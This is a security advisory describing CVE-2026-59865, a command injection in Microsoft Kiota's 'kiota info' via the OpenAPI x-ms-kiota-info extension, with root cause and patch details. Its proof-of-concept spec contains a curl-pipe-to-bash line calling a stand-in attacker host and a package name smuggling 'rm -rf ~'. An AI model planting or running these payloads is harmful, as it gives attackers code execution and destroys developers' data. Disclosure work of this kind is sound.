CVE-2026-59865: Microsoft Kiota Command Injection via x-ms-kiota-info dependencyInstallCommand
An attacker who controls or compromises an OpenAPI description can inject an arbitrary shell command into the 'dependencyInstallCommand' field of the x-ms-kiota-info extension, which kiota info…

The problem
The kiota info command reads the x-ms-kiota-info OpenAPI extension from a description file and, when the spec includes a dependencyInstallCommand, presents that spec-supplied string as kiota's own trusted install hint. No validation or sanitization is performed.
Any developer who follows kiota's explicit prompt to run the suggested command executes attacker-controlled shell. The kiota info --json output carries the raw command string to the Kiota VS Code extension, which can trigger it automatically via an 'install dependencies' action, making exploitation semi-automatic with no further user confirmation.
Proof of concept
A working proof-of-concept for CVE-2026-59865 in Microsoft.OpenApi.Kiota, with the exact payload below.
# attacker-controlled-spec.yaml
openapi: 3.0.3
info:
title: Malicious API
version: 1.0.0
x-ms-kiota-info:
languagesInformation:
CSharp:
maturityLevel: Stable
dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
dependencies:
- name: "Evil.Pkg; rm -rf ~"
version: "1.0.0"
type: bundle
paths: {}
# Trigger:
# kiota info -d attacker-controlled-spec.yaml -l CSharp
#
# Output (pre-patch):
# Hint: use the install command to install the dependencies.
# Example:
# curl -s https://attacker.example/x.sh | bash
#
# JSON output consumed by VS Code extension (pre-patch):
# kiota info -d attacker-controlled-spec.yaml -l CSharp --json
# => { "dependencyInstallCommand": "curl -s https://attacker.example/x.sh | bash", ... }The root cause is that kiota info passed the spec-supplied dependencyInstallCommand directly into its output and hint text without any allowlist, sanitization, or source-trust check (CWE-94, CWE-829). Kiota's own built-in command templates use a safe printf-style format such as 'dotnet add package {0} --version {1}', but the spec value simply replaced that template wholesale.
The fix in PR #7883 (commit e1d6d76) removes support for spec-supplied dependencyInstallCommand entirely. After patching, kiota info only surfaces its own internal, hardcoded package-manager templates and no longer reads or emits any command string from the OpenAPI description.
The --json output no longer carries a spec-controlled command for the IDE to execute.
The fix
Upgrade Microsoft.OpenApi.Kiota (the kiota dotnet tool) to 1.32.5 or later. Also update the Kiota VS Code extension to a version built against 1.32.5+ so the IDE's install-dependencies action no longer receives or runs a spec-controlled command string. No workaround is available for older versions other than avoiding kiota info against untrusted or unverified OpenAPI descriptions.
Related research
- high · 7.1CVE-2026-59867CVE-2026-59867: Microsoft Kiota SSRF and Local File Inclusion via Unrestricted OpenAPI $ref Resolution
- highCVE-2026-59863CVE-2026-59863: Microsoft Kiota workspace.json Path Traversal to Arbitrary File Write
- highCVE-2026-59866CVE-2026-59866: Microsoft Kiota Arbitrary File Write and Code Injection via x-ms-kiota-info
- highCVE-2026-59860CVE-2026-59860: Microsoft.OpenApi.Kiota XML Doc-Comment Newline Breakout Code Injection